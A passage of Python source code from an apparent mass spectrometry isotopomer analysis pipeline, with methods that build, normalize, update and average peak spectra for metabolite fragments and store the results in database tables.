average normalized intensity for MRM samples''' '''Assumptions: only a single fragment:spectrum is used_ per sample name abbreviation, time-point, replicate, scan_type (i.e. there are no multiple dilutions of the same precursor:spectrum that are used_) ''' print('execute_analyzeAverages...') # get time points time_points = self.stage01_isotopomer_query.get_timePoint_experimentID_dataStage01Normalized(experiment_id_I); for tp in time_points: print('Calculating average precursor and product spectrum from isotopomer normalized for time-point ' + str(tp)); if sample_names_I: sample_abbreviations = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for sn in sample_names_I: for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePointAndSampleName_dataStage01Normalized(experiment_id_I,st,tp,sn); sample_abbreviations.extend(sample_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_names_tmp))]); elif sample_name_abbreviations_I: sample_abbreviations = sample_name_abbreviations_I; sample_types_lst = ['Unknown' for x in sample_abbreviations]; # query sample types from sample name abbreviations and time-point from data_stage01_isotopomer_normalized else: # get sample names and sample name abbreviations sample_abbreviations = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePoint_dataStage01Normalized(experiment_id_I,st,tp); sample_abbreviations.extend(sample_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_abbreviations_tmp))]); for sna_cnt,sna in enumerate(sample_abbreviations): print('Calculating average precursor and product spectrum from isotopomer normalized for sample name abbreviation ' + sna); # get the scan_types if scan_types_I: scan_types = []; scan_types_tmp = []; scan_types_tmp = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01Normalized(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); scan_types = [st for st in scan_types_tmp if st in scan_types_I]; else: scan_types = []; scan_types = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndSampleType_dataStage01Normalized(experiment_id_I,tp,sna,sample_types_lst[sna_cnt]); for scan_type in scan_types: print('Calculating average precursor and product spectrum for scan type ' + scan_type) # met_ids if not met_ids_I: met_ids = []; met_ids = self.stage01_isotopomer_query.get_metIDs_experimentIDAndSampleAbbreviationAndTimePointAndSampleTypeAndScanType_dataStage01Normalized( \ experiment_id_I,sna,tp,sample_types_lst[sna_cnt],scan_type); else: met_ids = met_ids_I; if not(met_ids): continue #no component information was found for met in met_ids: print('Calculating average precursor and product spectrum for metabolite ' + met); ## get fragment formulas and masses #fragment_formulas, fragment_masses = [],[]; #fragment_formulas,fragment_masses = self.stage01_isotopomer_query.get_fragmentFormulasAndMass_experimentIDAndSampleAbbreviationAndTimePointAndAndSampleTypeAndScanTypeAndMetID_dataStage01Normalized(experiment_id_I,sna,tp,sample_types_lst[sna_cnt],scan_type,met); #for mass_cnt,mass in enumerate(fragment_masses): # print 'Calculating average precursor and product spectrum for fragment/mass ' + fragment_formulas[mass_cnt] + '/' + str(mass); # # get data # intensities = []; # intensities = self.stage01_isotopomer_query.get_normalizedIntensity_experimentIDAndSampleAbbreviationAndTimePointAndSampleTypeAndMetIDAndFragmentFormulaAndMassAndScanType_dataStage01Normalized(experiment_id_I,sna,tp,sample_types_lst[sna_cnt],met,fragment_formulas[mass_cnt],mass,scan_type); # # calculate the average and cv # n_replicates = len(intensities); # intensities_average = 0.0; # intensities_var = 0.0; # intensities_cv = 0.0; # # calculate average and CV of intensities # if (not(intensities)): # #continue # intensities_average = 0.0; # intensities_var = 0.0; # intensities_cv = 0.0; # elif n_replicates<2: # require at least 2 replicates # #continue # intensities_average = 0.0; # intensities_var = 0.0; # intensities_cv = 0.0; # else: # intensities_average = numpy.mean(numpy.array(intensities)); # intensities_var = numpy.var(numpy.array(intensities)); # if (intensities_average <= 0.0): intensities_cv = 0.0; # else: intensities_cv = sqrt(intensities_var)/intensities_average*100; # # calculate the theoretical spectrum for the pecursor/mass # peakSpectrum_theoretical = self.report_fragmentSpectrum_normMax([fragment_formulas[mass_cnt]],True); # # calculate the absolute deviation from the theoretical # intensity_theoretical = peakSpectrum_theoretical[fragment_formulas[mass_cnt]][mass]; # if intensity_theoretical > 0.0:abs_devFromTheoretical = abs(intensity_theoretical-intensities_average)/intensity_theoretical*100; # else: abs_devFromTheoretical = None; # # add to data_stage01_isotopomer_averages # row = []; # row = data_stage01_isotopomer_averages(experiment_id_I, sna, sample_types_lst[sna_cnt], tp, met,fragment_formulas[mass_cnt], mass, # n_replicates, intensities_average, intensities_cv, # 'normMax', intensity_theoretical, abs_devFromTheoretical, scan_type, True) # self.session.add(row); # get replicates replicate_numbers = []; replicate_numbers = self.stage01_isotopomer_query.get_replicateNumbers_experimentIDAndSampleAbbreviationAndTimePointAndScanTypeAndMetID_dataStage01Normalized( \ experiment_id_I,sna,tp,scan_type,met); peakSpectrum_normalized_lst = []; for rep in replicate_numbers: print('Calculating average precursor and product spectrum for replicate_number ' + str(rep)); #get data peakData_I = {}; peakData_I = self.stage01_isotopomer_query.get_dataNormalized_experimentIDAndSampleAbbreviationAndTimePointAndScanTypeAndMetIDAndReplicateNumber_dataStage01Normalized( \ experiment_id_I,sna,tp,scan_type,met,rep); fragment_formulas = list(peakData_I.keys()); peakSpectrum_corrected, peakSpectrum_normalized = self.extract_peakList_normMax(\ peakData_I, fragment_formulas, True); peakSpectrum_normalized_lst.append(peakSpectrum_normalized); peakSpectrum_stats,peakSpectrum_theoretical = self.compare_peakSpectrum_normMax(peakSpectrum_normalized_lst,True); # update data_stage01_isotopomer_averages for frag,spec in peakSpectrum_theoretical.items(): if spec: fragment_str = re.sub('[+-]', '', frag); fragment_mass = Formula(fragment_str).isotope.mass; for k,v in peakSpectrum_theoretical[frag].items(): if v and k in peakSpectrum_stats[frag]: if peakSpectrum_stats[frag][k]['mean']> 0.0: intensities_cv = peakSpectrum_stats[frag][k]['stdDev']/peakSpectrum_stats[frag][k]['mean']*100; else: intensities_cv = 0.0; row = []; row = data_stage01_isotopomer_averages(experiment_id_I, sna, sample_types_lst[sna_cnt], tp, met,frag, k, peakSpectrum_stats[frag][k]['n'], peakSpectrum_stats[frag][k]['mean'], intensities_cv, 'normMax', v, peakSpectrum_stats[frag][k]['absDev'], scan_type, True); elif v and k not in peakSpectrum_stats[frag]: intensities_cv = None; row = []; row = data_stage01_isotopomer_averages(experiment_id_I, sna, sample_types_lst[sna_cnt], tp, met,frag, k, None, None, intensities_cv, 'normMax', v, None, scan_type, True); elif not v and k in peakSpectrum_stats[frag]: if peakSpectrum_stats[frag][k]['mean']> 0.0: intensities_cv = peakSpectrum_stats[frag][k]['stdDev']/peakSpectrum_stats[frag][k]['mean']*100; else: intensities_cv = 0.0; row = []; row = data_stage01_isotopomer_averages(experiment_id_I, sna, sample_types_lst[sna_cnt], tp, met,frag, k, peakSpectrum_stats[frag][k]['n'], peakSpectrum_stats[frag][k]['mean'], intensities_cv, 'normMax', None, peakSpectrum_stats[frag][k]['absDev'], scan_type, True); self.session.add(row); self.session.commit(); def execute_buildSpectrumFromPeakData(self,experiment_id_I,ms_methodtype_I='isotopomer_13C',sample_name_abbreviations_I = None,met_ids_I = None): '''Build spectrum from raw peak data''' '''Assumptions: Only 1 precursur:spectrum per sample name and only 1 precursor:spectrum per dilution (i.e. the best/most representative precursor:spectrum was chose from the available EPI scans and dilutions of that particular precursor) ''' # extract out the peakSpectrum # get sample names for the experiment print('execute_buildSpectrumFromPeakData...') if sample_name_abbreviations_I: sample_names = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for sna in sample_name_abbreviations_I: for st in sample_types: sample_names_tmp = []; sample_names_tmp = self.stage01_isotopomer_query.get_sampleNames_experimentIDAndSampleTypeAndSampleNameAbbreviation_peakData(experiment_id_I,st,sna); sample_names.extend(sample_names_tmp); sample_types_lst.extend([st for i in range(len(sample_names_tmp))]); else: sample_names = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for st in sample_types: sample_names_tmp = []; sample_names_tmp = self.stage01_isotopomer_query.get_sampleNames_experimentIDAndSampleType_peakData(experiment_id_I,st); sample_names.extend(sample_names_tmp); sample_types_lst.extend([st for i in range(len(sample_names_tmp))]); # create database table for sn_cnt,sn in enumerate(sample_names): print('building spectrum for sample ' + sn); # get other information about the sample for later use sample_name_abbreviation,time_point,replicate_numbers = None,None,None; sample_name_abbreviation,time_point,replicate_numbers = self.stage01_isotopomer_query.get_sampleNameAbbreviationsAndOther_experimentIDAndSampleName_peakData(experiment_id_I,sn); # get met_id and precursor_formula for each sample scan_type = []; scan_type = self.stage01_isotopomer_query.get_scanType_experimentIDAndSampleName_peakData(experiment_id_I,sn); for scantype in scan_type: print('building spectrum for scan type ' + scantype); # get met_id and precursor formula for each sample if met_ids_I: met_id, precursor_formula = [], []; for met in met_ids_I: met_id_tmp, precursor_formula_tmp = [], [] met_id_tmp, precursor_formula_tmp = self.stage01_isotopomer_query.get_metIDAndPrecursorFormula_experimentIDAndSampleNameAndScanTypeAndMetID_peakData(experiment_id_I,sn,scantype,met); met_id.extend(met_id_tmp); precursor_formula.extend(precursor_formula_tmp); else: met_id, precursor_formula = [], []; met_id, precursor_formula = self.stage01_isotopomer_query.get_metIDAndPrecursorFormula_experimentIDAndSampleNameAndScanType_peakData(experiment_id_I,sn,scantype); for precursor_cnt, precursor in enumerate(precursor_formula): print('building spectrum for met_id/precursor ' + met_id[precursor_cnt] + '/' + precursor); precursor_str = re.sub('[+-]', '', precursor); precursor_mass = Formula(precursor_str).isotope.mass # get all product fragments for the met_id/precursor precursor_formulas_monoisotopic, product_formulas = [], []; precursor_formulas_monoisotopic, product_formulas = self.stage01_isotopomer_query.get_precursorAndProductFormulas_metID(met_id[precursor_cnt],'-','tuning'); product_formulas.append(precursor_formulas_monoisotopic[0]); # add precursor to list of fragments # get peak data for the sample/met_id/precursor_formula peak_data = []; peak_data = self.stage01_isotopomer_query.get_data_experimentIDAndSampleNameAndMetIDAndPrecursorFormulaAndScanType_peakData(experiment_id_I,sn,met_id[precursor_cnt],precursor,scantype); peakSpectrum_measured,\ peakSpectrum_corrected, peakSpectrum_normalized = self.extract_peakData_normMax(\ peak_data, product_formulas, 0.3, True); peakSpectrum_stats,peakSpectrum_theoretical = self.compare_peakSpectrum_normMax([peakSpectrum_normalized],True); # update data_stage01_isotopomer_normalized for frag,spec in peakSpectrum_theoretical.items(): if spec: product_str = re.sub('[+-]', '', frag); product_mass = Formula(product_str).isotope.mass; for k,v in peakSpectrum_theoretical[frag].items(): row1 = None; row1 = data_stage01_isotopomer_peakSpectrum(experiment_id_I,sn,sample_name_abbreviation, sample_types_lst[sn_cnt],time_point,replicate_numbers, met_id[precursor_cnt],precursor,int(numpy.round(precursor_mass)), frag,int(numpy.round(k)), peakSpectrum_measured[frag][k],'cps', peakSpectrum_corrected[frag][k],'cps', peakSpectrum_normalized[frag][k],'normMax', v,peakSpectrum_stats[frag][k]['absDev'],scantype,True,None); self.session.add(row1); self.session.commit(); def execute_updatePeakSpectrum(self,experiment_id_I,sample_name_abbreviations_I = None): '''re-calculate intensity_normalized from intensity_corrected and used''' # extract out the peakSpectrum dataListUpdated = []; # get sample names for the experiment print('execute_updatePeakSpectrum...') if sample_name_abbreviations_I: sample_names = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for sna in sample_name_abbreviations_I: for st in sample_types: sample_names_tmp = []; sample_names_tmp = self.stage01_isotopomer_query.get_sampleNames_experimentIDAndSampleTypeAndSampleNameAbbreviation_peakSpectrum(experiment_id_I,st,sna); sample_names.extend(sample_names_tmp); sample_types_lst.extend([st for i in range(len(sample_names_tmp))]); else: sample_names = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for st in sample_types: sample_names_tmp = []; sample_names_tmp = self.stage01_isotopomer_query.get_sampleNames_experimentIDAndSampleType_peakSpectrum(experiment_id_I,st); sample_names.extend(sample_names_tmp); sample_types_lst.extend([st for i in range(len(sample_names_tmp))]); # create database table for sn_cnt,sn in enumerate(sample_names): print('updating peak spectrum for sample ' + sn); # get other information about the sample for later use sample_name_abbreviation,time_point,replicate_numbers = None,None,None; sample_name_abbreviation,time_point,replicate_numbers = self.stage01_isotopomer_query.get_sampleNameAbbreviationsAndTimePointAndReplicateNumber_experimentIDAndSampleName_peakSpectrum(experiment_id_I,sn); # get met_id and precursor_formula for each sample scan_type = []; scan_type = self.stage01_isotopomer_query.get_scanType_experimentIDAndSampleName_peakSpectrum(experiment_id_I,sn); for scantype in scan_type: print('building spectrum for scan type ' + scantype); # get met_id and precursor formula for each sample met_id, precursor_formula = [], []; met_id, precursor_formula = self.stage01_isotopomer_query.get_metIDAndPrecursorFormula_experimentIDAndSampleNameAndScanType_peakSpectrum(experiment_id_I,sn,scantype); for precursor_cnt, precursor in enumerate(precursor_formula): print('updating peak spectrum for met_id/precursor ' + met_id[precursor_cnt] + '/' + precursor); precursor_str = re.sub('[+-]', '', precursor); precursor_mass = Formula(precursor_str).isotope.mass # get all product fragments for the met_id/precursor precursor_formulas_monoisotopic, product_formulas = [], []; precursor_formulas_monoisotopic, product_formulas = self.stage01_isotopomer_query.get_precursorAndProductFormulas_metID(met_id[precursor_cnt],'-','tuning'); product_formulas.append(precursor_formulas_monoisotopic[0]); # add precursor to list of fragments # get peak data for the sample/met_id/precursor_formula peak_data = []; peak_data = self.stage01_isotopomer_query.get_data_experimentIDAndSampleNameAndMetIDAndPrecursorFormulaAndScanType_peakSpectrum(experiment_id_I,sn,met_id[precursor_cnt],precursor,scantype); peakSpectrum_corrected, peakSpectrum_normalized = self.extract_peakList_normMax(\ peak_data, product_formulas,True); peakSpectrum_stats,peakSpectrum_theoretical = self.compare_peakSpectrum_normMax([peakSpectrum_normalized],True); # update data_stage01_isotopomer_peakSpectrum for frag,spec in peakSpectrum_theoretical.items(): if spec: product_str = re.sub('[+-]', '', frag); product_mass = Formula(product_str).isotope.mass; for k,v in peakSpectrum_theoretical[frag].items(): dataListUpdated.append({'experiment_id':experiment_id_I, 'sample_name':sn, 'sample_name_abbreviation':sample_name_abbreviation, 'sample_type':sample_types_lst[sn_cnt], 'time_point':time_point, 'replicate_number':replicate_numbers, 'met_id':met_id[precursor_cnt], 'precursor_formula':precursor, 'precursor_mass':int(numpy.round(precursor_mass)), 'product_formula':frag, 'product_mass':int(numpy.round(k)), 'intensity_corrected':peakSpectrum_corrected[frag][k], 'intensity_corrected_units':'cps', 'intensity_normalized':peakSpectrum_normalized[frag][k], 'intensity_normalized_units':'normMax', 'intensity_theoretical':v, 'abs_devFromTheoretical':peakSpectrum_stats[frag][k]['absDev'], 'scan_type':scantype}); self.stage01_isotopomer_query.update_data_stage01_isotopomer_peakSpectrum(dataListUpdated); def execute_filterValidatedFragments(self,experiment_id_I): '''Filter fragments that have been validated by a U12C reference experiment''' print('filtering validated met/fragment pairs...') dataUpdate_O = []; for k,v in self.isotopomer_13C_fragments_validated.items(): for frag in v: dataUpdate_O.append({'experiment_id':experiment_id_I,'met_id':k,'product_formula':frag}); self.stage01_isotopomer_query.update_validFragments_stage01_isotopomer_peakSpectrum(dataUpdate_O); def execute_normalizeSpectrumFromReference(self,experiment_id_I,sample_name_abbreviations_I = None, use_mrm_ref = True, met_ids_I = None): # 1. import used peak spectrum to normalized table after multiplying by measured # scaling factor calculated from used MRM spectrum # 2. be sure that the MRMs in the normalized table have been finalized '''NOTES: cannot follow the forloop pattern used in buildSpectrumFromPeakData (i.e. starting with sample name) must use the forloop pattern similar to updateNormalizedSpectrum, but without a forloop for dilutions (i.e. time-point to sample name abbreviations to scan types to mets) buildSpectrumFromPeakData and updatePeakSpectrum methods process one product:spectrum from a single precursor at a time; each precursor:product:spectrum is associated with only one sample name However, because the entire range of precursor:product:spectrum for a given met can encompass multiple dilutions and therefore different sample names, a more generic approach must be used''' '''Assumptions: only a single precursor:spectrum is used_ per sample name abbreviation, time-point, replicate, scan_type (i.e. there are no multiple dilutions of the same precursor:spectrum that are used_) ''' # extract out the peakSpectrum print('execute_normalizeSpectrumFromReference...') # get time points time_points = []; time_points = self.stage01_isotopomer_query.get_timePoints_experimentID_peakSpectrum(experiment_id_I); for tp in time_points: print('normalizing peak spectrum from reference for time-point ' + tp); # get sample name abbreviations if sample_name_abbreviations_I: sample_name_abbreviations = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for st in sample_types: sample_name_abbreviations_tmp = []; sample_name_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePoint_peakSpectrum(experiment_id_I,st,tp); sample_name_abbreviations.extend([sna for sna in sample_name_abbreviations_tmp if sna in sample_name_abbreviations_I]); sample_types_lst.extend([st for sna in sample_name_abbreviations_tmp if sna in sample_name_abbreviations_I]); else: sample_name_abbreviations = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for st in sample_types: sample_name_abbreviations_tmp = []; sample_name_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePoint_peakSpectrum(experiment_id_I,st,tp); sample_name_abbreviations.extend(sample_name_abbreviations_tmp); sample_types_lst.extend([st for i in range(len(sample_name_abbreviations_tmp))]); for sna_cnt,sna in enumerate(sample_name_abbreviations): print('normalizing peak spectrum from reference for sample name abbreviation ' + sna); # get scan types scan_type = []; scan_type = self.stage01_isotopomer_query.get_scanType_experimentIDAndTimePointSampleNameAbbreviation_peakSpectrum(experiment_id_I,tp,sna); for scantype in scan_type: print('normalizing peak spectrum from reference for scan type ' + scantype); # get replicates replicate_numbers = []; replicate_numbers = self.stage01_isotopomer_query.get_replicateNumber_experimentIDAndTimePointAndSampleNameAbbreviationAndScanType_peakSpectrum(experiment_id_I,tp,sna,scantype); for rep in replicate_numbers: print('normalizing peak spectrum from reference for replicate ' + str(rep)); # get other information about the sample for later use sample_name, dilution = None,None; sample_name,dilution = self.stage01_isotopomer_query.get_sampleNameAndDilution_experimentIDAndTimePointAndSampleNameAbbreviationAndScanType_peakSpectrum(\ experiment_id_I,tp,sna,scantype,rep); # get met_id if met_ids_I: met_id = met_ids_I; else: med_id = []; met_id = self.stage01_isotopomer_query.get_metID_experimentIDAndTimePointAndSampleNameAbbreviationAndScanTypeAndReplicate_peakSpectrum(\ experiment_id_I,tp,sna,scantype,rep); for met_cnt,met in enumerate(met_id): print('normalizing peak spectrum from reference for met_id ' + met); # get precursor formula and mass precursor_formula, precursor_mass = [], []; precursor_formula, precursor_mass = self.stage01_isotopomer_query.get_precursorFormulaAndMass_experimentIDAndTimePointAndSampleNameAbbreviationAndScanTypeAndReplicateAndMetID_peakSpectrum(\ experiment_id_I,tp,sna,scantype,rep,met); peak_data_all = {}; scaling_factors_all = {}; for precursor_cnt, precursor in enumerate(precursor_formula): peak_data_all[precursor] = None; scaling_factors_all[precursor] = None; print('normalizing peak spectrum from reference for precursor ' + precursor); precursor_str = re.sub('[+-]', '', precursor); # get all product fragments for the met_id/precursor product_formulas = []; product_formulas = self.stage01_isotopomer_query.get_productFormulas_experimentIDAndTimePointAndSampleNameAbbreviationAndScanTypeAndReplicateAndMetIDAndPrecursorFormula_peakSpectrum(\ experiment_id_I,tp,sna,scantype,rep,met,precursor); # get the m+0 precursor_formula precursor_formula_monoisotopic = self.stage01_isotopomer_query.get_precursorFormula_metID(met,'-','tuning'); precursor_monoisotopic_str = re.sub('[+-]', '', precursor_formula_monoisotopic); precursor_monoisotpoic_mass = int(numpy.round(Formula(precursor_monoisotopic_str).isotope.mass)); # get peakSpectrum data peak_data = {}; peak_data = self.stage01_isotopomer_query.get_data_experimentIDAndTimePointAndSampleNameAbbreviationAndScanTypeAndReplicateAndMetIDAndPrecursorFormula_peakSpectrum(\ experiment_id_I,tp,sna,scantype,rep,met,precursor); peak_data_all[precursor] = peak_data; if scantype == 'ER': scaling_factors_all[precursor] = 1.0; # there is no need to scale ER or other precursor ion scans else: if use_mrm_ref: # get reference MRM spectrum scaling factor for the sample #scaling_factor,scaling_factor_cv = None,None; # will need to incorporate propogation of error #scaling_factor,scaling_factor_cv = self.stage01_isotopomer_query.get_normalizedIntensity_experimentIDAndSampleAbbreviationAndTimePointAndMetIDAndFragmentFormulaAndMassAndScanType_dataStage01Averages(experiment_id_I,sample_name_abbreviation,time_point,met,precursor_formula_monoisotopic,precursor_mass[precursor_cnt],'MRM'); scaling_factor = None; # does not require the propogation of error scaling_factor = self.stage01_isotopomer_query.get_normalizedIntensity_experimentIDAndSampleAbbreviationAndTimePointAndReplicateNumberAndMetIDAndFragmentFormulaAndMassAndScanType_dataStage01Normalized(experiment_id_I,sna,tp,rep,met,precursor_formula_monoisotopic,precursor_mass[precursor_cnt],'MRM'); if scaling_factor: scaling_factors_all[precursor] = scaling_factor; else: scaling_factors_all[precursor] = 0.0; ## substitute with reference spectrum #refspec = self.report_fragmentSpectrum_normMax([precursor_formula_monoisotopic],True); #scaling_factor = refspec[precursor_formula_monoisotopic][precursor_mass[precursor_cnt]]; #scaling_factors_all[precursor] = scaling_factor; else: # get reference ER spectrum scaling factor for the sample scaling_factor = None; scaling_factor = self.stage01_isotopomer_query.get_normalizedIntensity_experimentIDAndSampleAbbreviationAndTimePointAndReplicateNumberAndMetIDAndPrecursorFormulaAndMassAndScanType_peakSpectrum(experiment_id_I,sna,tp,rep,met,precursor_formula_monoisotopic,precursor_mass[precursor_cnt],'ER'); if scaling_factor: scaling_factors_all[precursor] = scaling_factor; else: scaling_factors_all[precursor] = 0.0; ## substitute with reference spectrum #refspec = self.report_fragmentSpectrum_normMax([precursor_formula_monoisotopic],True); #scaling_factor = refspec[precursor_formula_monoisotopic][precursor_mass[precursor_cnt]]; #scaling_factors_all[precursor] = scaling_factor; # normalize spectrum to reference MRM for each precursor (m+0,m+1,...) peakSpectrum_normalized = self.normalize_peakSpectrum_normMax(peak_data_all,scaling_factors_all); peakSpectrum_stats,peakSpectrum_theoretical = self.compare_peakSpectrum_normMax([peakSpectrum_normalized],True); # update data_stage01_isotopomer_peakSpectrum for frag,spec in peakSpectrum_theoretical.items(): if spec: product_str = re.sub('[+-]', '', frag); product_mass = Formula(product_str).isotope.mass; for k,v in peakSpectrum_theoretical[frag].items(): if k in peakSpectrum_normalized[frag]: row = None; row = data_stage01_isotopomer_normalized(experiment_id_I,sample_name,sna,sample_types_lst[sna_cnt],tp,dilution,rep, met,frag,int(numpy.round(k)), #None,'cps',None,'cps', None,'cps',peakSpectrum_normalized[frag][k],'normMax', #allows for spectrum updates peakSpectrum_normalized[frag][k],'normMax', v,peakSpectrum_stats[frag][k]['absDev'],scantype,True,None); self.session.add(row); self.session.commit(); def execute_normalizeSpectrumFromReference_v1(self,experiment_id_I,sample_name_abbreviations_I = None,use_mrm_ref = True): # 1. import used peak spectrum to normalized table after multiplying by measured # scaling factor calculated from used MRM spectrum # 2. be sure that the MRMs in the normalized table have been finalized '''NOTES: Broken for the following reason: cannot follow the forloop pattern used in buildSpectrumFromPeakData (i.e. starting with sample name) must use the forloop pattern used in updateNormalizedSpectrum (i.e. time-point to dilutions to sample name abbreviations to scan types to mets) buildSpectrumFromPeakData and updatePeakSpectrum methods process one product:spectrum from a single precursor at a time; each precursor:product:spectrum is associated with only one sample name However, because the entire range of precursor:product:spectrum for a given met can encompass multiple dilutions and therefore different sample names, a more generic approach must be used Please use current version''' # extract out the peakSpectrum # get sample name for the experiment print('execute_normalizeSpectrumFromReference...') if sample_name_abbreviations_I: sample_names = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for sna in sample_name_abbreviations_I: for st in sample_types: sample_names_tmp = []; sample_names_tmp = self.stage01_isotopomer_query.get_sampleNames_experimentIDAndSampleTypeAndSampleNameAbbreviation_peakSpectrum(experiment_id_I,st,sna); sample_names.extend(sample_names_tmp); sample_types_lst.extend([st for i in range(len(sample_names_tmp))]); else: sample_names = []; sample_types = ['Unknown','QC']; sample_types_lst = []; for st in sample_types: sample_names_tmp = []; sample_names_tmp = self.stage01_isotopomer_query.get_sampleNames_experimentIDAndSampleType_peakSpectrum(experiment_id_I,st); sample_names.extend(sample_names_tmp); sample_types_lst.extend([st for i in range(len(sample_names_tmp))]); for sn_cnt,sn in enumerate(sample_names): print('normalizing peak spectrum for sample ' + sn); # get other information about the sample for later use sample_name_abbreviation,time_point,dilution,replicate_numbers = None,None,None,None; sample_name_abbreviation,time_point,dilution,replicate_numbers = self.stage01_isotopomer_query.get_sampleNameAbbreviationsAndOther_experimentIDAndSampleName_peakSpectrum(experiment_id_I,sn); # get met_id and precursor_formula for each sample scan_type = []; scan_type = self.stage01_isotopomer_query.get_scanType_experimentIDAndSampleName_peakSpectrum(experiment_id_I,sn); for scantype in scan_type: print('normalizing spectrum for scan type ' + scantype); # get met_id med_id = []; met_id = self.stage01_isotopomer_query.get_metID_experimentIDAndSampleNameAndScanType_peakSpectrum(experiment_id_I,sn,scantype); for met in met_id: print('normalizing peak spectrum for met_id ' + met); # get precursor formula and mass precursor_formula, precursor_mass = [], []; precursor_formula, precursor_mass = self.stage01_isotopomer_query.get_precursorFormulaAndMass_experimentIDAndSampleNameAndMetIDAndScanType_peakSpectrum(experiment_id_I,sn,met,scantype); peak_data_all = {}; scaling_factors_all = {}; for precursor_cnt, precursor in enumerate(precursor_formula): peak_data_all[precursor] = None; scaling_factors_all[precursor] = None; print('normalizing peak spectrum for precursor ' + precursor); precursor_str = re.sub('[+-]', '', precursor); # get all product fragments for the met_id/precursor product_formulas = []; product_formulas = self.stage01_isotopomer_query.get_productFormulas_experimentIDAndSampleNameAndMetIDAndPrecursorFormulaAndScanType_peakSpectrum(experiment_id_I,sn,met,precursor,scantype); # get the m+0 precursor_formula precursor_formula_monoisotopic = self.stage01_isotopomer_query.get_precursorFormula_metID(met,'-','tuning'); precursor_monoisotopic_str = re.sub('[+-]', '', precursor_formula_monoisotopic); precursor_monoisotpoic_mass = int(numpy.round(Formula(precursor_monoisotopic_str).isotope.mass)); # get peakSpectrum data peak_data = {}; #Change to sna+rep+timepoint:peak_data = self.stage01_isotopomer_query.get_normalizedIntensity_experimentIDAndSampleNameAndMetIDAndPrecursorFormulaAndScanType_peakSpectrum(experiment_id_I,sn,met,precursor,scantype); peak_data_all[precursor] = peak_data; if scantype == 'ER': scaling_factors_all[precursor] = 1.0; # there is no need to scale ER or other precursor ion scans else: if use_mrm_ref: # get reference MRM spectrum scaling factor for the sample #scaling_factor,scaling_factor_cv = None,None; # will need to incorporate propogation of error #scaling_factor,scaling_factor_cv = self.stage01_isotopomer_query.get_normalizedIntensity_experimentIDAndSampleAbbreviationAndTimePointAndMetIDAndFragmentFormulaAndMassAndScanType_dataStage01Averages(experiment_id_I,sample_name_abbreviation,time_point,met,precursor_formula_monoisotopic,precursor_mass[precursor_cnt],'MRM'); scaling_factor = None; # does not require the propogation of error scaling_factor = self.stage01_isotopomer_query.get_normalizedIntensity_experimentIDAndSampleAbbreviationAndTimePointAndReplicateNumberAndMetIDAndFragmentFormulaAndMassAndScanType_dataStage01Normalized(experiment_id_I,sample_name_abbreviation,time_point,replicate_numbers,met,precursor_formula_monoisotopic,precursor_mass[precursor_cnt],'MRM'); if scaling_factor: scaling_factors_all[precursor] = scaling_factor; else: scaling_factors_all[precursor] = 0.0; ## substitute with reference spectrum #refspec = self.report_fragmentSpectrum_normMax([precursor_formula_monoisotopic],True); #scaling_factor = refspec[precursor_formula_monoisotopic][precursor_mass[precursor_cnt]]; #scaling_factors_all[precursor] = scaling_factor; else: # get reference ER spectrum scaling factor for the sample scaling_factor = None; scaling_factor = self.stage01_isotopomer_query.get_normalizedIntensity_experimentIDAndSampleAbbreviationAndTimePointAndReplicateNumberAndMetIDAndPrecursorFormulaAndMassAndScanType_peakSpectrum(experiment_id_I,sample_name_abbreviation,time_point,replicate_numbers,met,precursor_formula_monoisotopic,precursor_mass[precursor_cnt],'ER'); if scaling_factor: scaling_factors_all[precursor] = scaling_factor; else: scaling_factors_all[precursor] = 0.0; ## substitute with reference spectrum #refspec = self.report_fragmentSpectrum_normMax([precursor_formula_monoisotopic],True); #scaling_factor = refspec[precursor_formula_monoisotopic][precursor_mass[precursor_cnt]]; #scaling_factors_all[precursor] = scaling_factor; # normalize spectrum to reference MRM for each precursor (m+0,m+1,...) peakSpectrum_normalized = self.normalize_peakSpectrum_normMax(peak_data_all,scaling_factors_all); peakSpectrum_stats,peakSpectrum_theoretical = self.compare_peakSpectrum_normMax([peakSpectrum_normalized],True); # update data_stage01_isotopomer_peakSpectrum for frag,spec in peakSpectrum_theoretical.items(): if spec: product_str = re.sub('[+-]', '', frag); product_mass = Formula(product_str).isotope.mass; for k,v in peakSpectrum_theoretical[frag].items(): if k in peakSpectrum_normalized[frag]: row = None; row = data_stage01_isotopomer_normalized(experiment_id_I,sn,sample_name_abbreviation,sample_types_lst[sn_cnt],time_point,dilution,replicate_numbers, met,frag,int(numpy.round(k)), None,'cps',None,'cps', peakSpectrum_normalized[frag][k],'normMax', v,peakSpectrum_stats[frag][k]['absDev'],scantype,True); self.session.add(row); self.session.commit(); def execute_analyzeAveragesNormSum(self,experiment_id_I, sample_names_I = None, sample_name_abbreviations_I = None, met_ids_I = None, scan_types_I = None): '''calculate the average normalized intensity for all samples and scan types''' '''Assumptions: only a single fragment:spectrum is used_ per sample name abbreviation, time-point, replicate, scan_type (i.e. there are no multiple dilutions of the same precursor:spectrum that are used_) ''' print('execute_analyzeAveragesNormSum...') # get time points time_points = self.stage01_isotopomer_query.get_timePoint_experimentID_dataStage01Normalized(experiment_id_I); for tp in time_points: print('Calculating average precursor and product spectrum from isotopomer normalized for time-point ' + str(tp)); if sample_names_I: sample_abbreviations = []; sample_types = 